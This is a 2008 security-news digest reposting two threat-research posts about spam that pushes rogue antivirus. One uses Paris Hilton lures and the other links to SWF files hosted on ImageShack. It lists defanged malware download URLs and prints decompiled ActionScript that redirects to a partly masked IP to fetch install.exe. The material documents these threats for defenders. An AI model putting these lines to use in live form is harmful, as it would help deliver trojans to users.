Security News Collected by AWSODA-SYSTEMS: 2008-08-24

Here are the latest updates for security-news@awsoda.net

What is it with Paris Hilton these days? Just this week we’ve seen several pictures of the celebrity in a spam run that is yet again pushing rogue AV.

Although we’re quite familiar with the social engineering technique involved in name-dropping celebrities in order to pique more interest (and therefore hits), the last celebrity we’ve seen in the run was Angelina Jolie — around the time of the release of the movie Wanted, in which she starred.

These spammers are apparently in touch with the pop culture scene, as Paris followers (and naysayers) from all over the world are by now intimately familiar with that viral video where Paris says, “I want America to know that I’m, like, totally ready to lead.” This was in answer to the John McCain ad where a clip of his opponent Barack Obama was placed between a Paris Hilton and Britney Spears footage, implying that Obama is mereley a celebrity.

Figure 1. Spammers play off off-beat mainstream news.

Trend Micro Advanced Threats Researcher Jamz Yaneza tells us that tempted users who open the message will find any of the following URLs in the message body:

hxxp://www.{BLOCKED}n-gmbh.de/video_1.exe
hxxp://{BLOCKED}tchmansearch.com/video_1.exe
hxxp://www.{BLOCKED}ic.com/video_1.exe
hxxp://{BLOCKED}ypaypower.com/video_1.exe
hxxp://{BLOCKED}ports.com.ar/stream.exe
hxxp://{BLOCKED}ton.adm.br/stream.exe
hxxp://{BLOCKED}oynegociosinmobiliarios.com/stream.exe
hxxp://{BLOCKED}eb.com.ar/stream.exe
hxxp://www.{BLOCKED}ance.com/player.exe
hxxp://{BLOCKED}arana.com.ar/player.exe
hxxp://{BLOCKED}-chloride.com/player.exe
hxxp://www.{BLOCKED}webgroup.com/player.exe
hxxp://{BLOCKED}rastour.com/player.exe
hxxp://www.{BLOCKED}eemann.ch/play.exe

And that clicking the link to the “video” leads to the download of components detected by Trend Micro as TROJ_FAKEAV.FP and TROJ_FAKEAV.FW.

While we are indeed detecting a trend that rogue AV programs are having a field day in the past few weeks, the volume of unique Paris-related spam-for-rogue-AV attacks and the actual victims (a big chunk of whom are from North America based on our Virus Tracking Center) say that this particular social engineering technique does click.

Never mind if the spam doesn’t make sense…

Figure 2. Paris spam pushing rogue AV, sample 2

…isn’t even remotely sensational…

Figure 3. Paris spam pushing rogue AV, sample 3

…or just too good to be true.

Figure 4. Paris spam pushing rogue AV, sample 4

All URLs and spam mail mentioned above are already blocked by the Smart Protection Network.

Recent reports of rogue AV in the blog:

• Email to a friend • Article Search • Related • View comments • Track comments •

•

Rate 'Paris Hilton Hits the Rogue AV Scene'

Spammed SWF URLs Abuse ImageShack, Lead to Rogue AV

We’re seeing a lot of spam right now using the now annoyingly familiar Free Update Windows XP,Vista spam template. This time though, instead of linking to an .EXE file, it is now pointing to an .SWF file.

Figure 1. Seen before: Spam announcing a free update for Windows XP and Vista

The SWF file linked via the large-font text Free Update Windows XP,Vista contains Flash ActionScript. One of the SWFs captured decompiles to the following (http changed to hxxp where it occurs below):

movie '82029540ui0.swf' { // flash 6, total frames: 3, frame rate: 50 fps, 978x580 px, compressed   // unknown tag 777 length 3   movieClip 5 TextBox {  }   frame 2 {  getURL('hxxp://89.xx.49.18/install.exe', '_self');  }   frame 3 {  stop();  } }

This is what it looks like when opened in a browser.

Figure 2. Seen just now: SWF files instead of the typical EXE.

Running the install.exe will make the desktop look like this.

Figure 3. Seen before: “WARNING! Spyware detected!”

After this a EULA window appears, and then the system proceeds to install a rogue AV software from avxp-2008.net. Note that it does this automatically from the moment the install.exe is run:

Figure 4. Yet another rogue AV product hosted on a fresh domain (this one created August 20).

The technique used in the spam has two things going for it: 1. the use of SWF instead of EXE and 2. the use of an ImageShack-hosted file, both of which may suggest to normal users that the file is possibly harmless. So it seems the siege of rogue AV is not only not dying down, its proponents are becoming more creative in their “advertising” schemes.

We detect this rogue AV as TROJ_FAKEAV.IG.